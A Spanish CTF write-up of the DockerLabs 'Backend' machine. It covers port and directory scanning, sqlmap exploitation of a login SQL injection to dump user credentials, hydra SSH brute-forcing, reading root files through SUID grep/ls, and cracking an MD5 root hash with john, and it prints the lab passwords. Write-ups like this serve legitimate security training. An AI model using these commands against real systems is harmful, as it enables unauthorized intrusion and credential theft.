> For the complete documentation index, see [llms.txt](https://propus.gitbook.io/hackbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://propus.gitbook.io/hackbook/writeups/dockerlabs/backend.md).

# 🟩 Backend

## 🕵️ Reconocimiento

Comenzamos con un escaneo de puertos con `nmap`:

{% code overflow="wrap" %}

```bash
nmap -sC -sV -Pn $IPTARGET | tee nmap
```

{% endcode %}

<figure><img src="/files/oWtTjvArW3qTj8rAXSi9" alt=""><figcaption></figcaption></figure>

Solo tenemos los puertos 80 y 22 (HTTP y SSH) abiertos. Realizamos un escaneo de directorios sobre el servicio web:

{% code overflow="wrap" %}

```bash
ffuf -w /usr/share/wordlists/SecLists-2025.2/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://$IPTARGET/FUZZ" -e .html,.php,.txt,.xml,.js
```

{% endcode %}

<figure><img src="/files/KFI8Z8oAoMzO9bPsEsz3" alt=""><figcaption></figcaption></figure>

Veamos qué encontramos dentro del navegador:

<figure><img src="/files/9KGex2sTp61uZ8Vpodzu" alt=""><figcaption></figcaption></figure>

Si introducimos una `'` en el campo de `Username`, nos salta un error de SQL:

<figure><img src="/files/DdlnSPR1caHJdHI60PSV" alt=""><figcaption></figcaption></figure>

## 🚪 Ganando acceso

Explotamos esta vía para encontrar una vulnerabilidad SQL y dumpear la base de datos:

{% code overflow="wrap" %}

```bash
sqlmap -u "http://172.17.0.2/login.php" --data="username=hola&password=adios" --batch --risk=3 --level=5 --dbs
```

{% endcode %}

<figure><img src="/files/NjqGQ4E1cFYnkiTvhsXB" alt=""><figcaption></figcaption></figure>

Vemos que es vulnerable a un boolean-based blind sqli, entre otros. Las bases de datos que contiene son las siguientes:

<figure><img src="/files/0ZjACNmJ2TTRaSzNW1XF" alt=""><figcaption></figcaption></figure>

Miramos las tablas de la base de datos `users`:

{% code overflow="wrap" %}

```bash
sqlmap -u "http://172.17.0.2/login.php" --data="username=hola&password=adios" --batch -D users --tables
```

{% endcode %}

<figure><img src="/files/3wQw8POskmEpDI3jO8Hy" alt=""><figcaption></figcaption></figure>

Y vemos el contenido de la tabla `usuarios`:

{% code overflow="wrap" %}

```bash
sqlmap -u "http://172.17.0.2/login.php" --data="username=hola&password=adios" --batch -D users -T usuarios --dump
```

{% endcode %}

<figure><img src="/files/DpItIf6bE6tbT5wd7BXi" alt=""><figcaption></figcaption></figure>

Guardamos todos los usuarios y contraseñas en dos archivos `.txt` para pasarlos a `hydra` y ver qué combinación es la correcta:

{% code overflow="wrap" %}

```bash
hydra -L usuarios.txt -P passwords.txt ssh://172.17.0.2
```

{% endcode %}

<figure><img src="/files/txLFn9L6IcOp3DqSDXRp" alt=""><figcaption></figcaption></figure>

La combinación correcta es `pepe:P123pepe3456P`. Entramos por SSH:

<figure><img src="/files/nOl2losBTMlqJN31dliy" alt=""><figcaption></figcaption></figure>

## 💥 Escalada de privilegios

Vemos los binarios con el bit SUID activado en el sistema:

{% code overflow="wrap" %}

```bash
find / -perm -4000 -type f 2>/dev/null
```

{% endcode %}

<figure><img src="/files/NHKgiLwxhnGpUwkoQNXR" alt=""><figcaption></figcaption></figure>

Con `grep` y `ls` podemos listar directorios y leer el contenido de todos los ficheros, ya que tienen el bit SUID activado y su propietario es `root`. Listamos el contenido del directorio `/root` y leemos el fichero `pass.hash`:

<figure><img src="/files/LVMmEemOF6Md9G8mgIGQ" alt=""><figcaption></figcaption></figure>

Nos llevamos el hash a nuestra máquina para analizarlo. Al parecer se trata de un hash MD5. Usamos `john` para crackear el hash y sacar la contraseña:

{% code overflow="wrap" %}

```bash
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

{% endcode %}

<figure><img src="/files/zvujhS9YrtEKYdIkHhFS" alt=""><figcaption></figcaption></figure>

La contraseña de `root` es `spongebob34`.

<figure><img src="/files/Hfdg2ne3QYL5pqMlbTxF" alt=""><figcaption></figcaption></figure>
